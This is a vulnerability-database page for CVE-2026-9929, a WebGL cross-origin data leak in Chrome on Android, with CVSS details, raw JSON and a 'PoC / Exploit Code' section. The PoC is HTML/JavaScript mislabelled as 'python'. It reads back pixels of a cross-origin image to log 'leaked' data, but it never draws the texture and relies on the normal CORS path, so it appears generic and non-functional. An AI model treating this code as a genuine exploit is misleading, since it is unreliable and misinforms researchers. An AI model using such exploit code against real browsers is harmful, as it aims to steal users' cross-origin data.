Security Vulnerability Report
中文
CVE-2026-9929 CVSS 4.3 MEDIUM

CVE-2026-9929

Published: 2026-05-28 23:16:51
Last Modified: 2026-05-29 18:17:15

Description

Inappropriate implementation in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome on Android < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-9929: WebGL Cross-Origin Data Leak --> <!DOCTYPE html> <html> <head> <title>CVE-2026-9929 PoC</title> </head> <body> <h3>CVE-2026-9929 WebGL Data Leak PoC</h3> <canvas id="glCanvas" width="500" height="500"></canvas> <script> // Get WebGL context const canvas = document.getElementById('glCanvas'); const gl = canvas.getContext('webgl'); if (!gl) { console.error('WebGL not supported'); } // Target cross-origin image (simulating sensitive data) const targetImage = new Image(); targetImage.crossOrigin = 'anonymous'; // Replace with actual target URL in a real scenario targetImage.src = 'https://example.com/sensitive-data.png'; targetImage.onload = function() { // Create a texture from the cross-origin image const texture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, texture); // Set parameters so we can render any size image gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); // Upload the image into the texture gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, targetImage); // Attempt to read pixels back // In vulnerable versions, this may leak data despite CORS const pixels = new Uint8Array(canvas.width * canvas.height * 4); gl.readPixels(0, 0, canvas.width, canvas.height, gl.RGBA, gl.UNSIGNED_BYTE, pixels); console.log('Leaked Pixel Data:', pixels); alert('Potential data leak detected. Check console for pixel buffer.'); }; </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9929", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:50.997", "lastModified": "2026-05-29T18:17:15.290", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/501367791", "source": "[email protected]"}]}}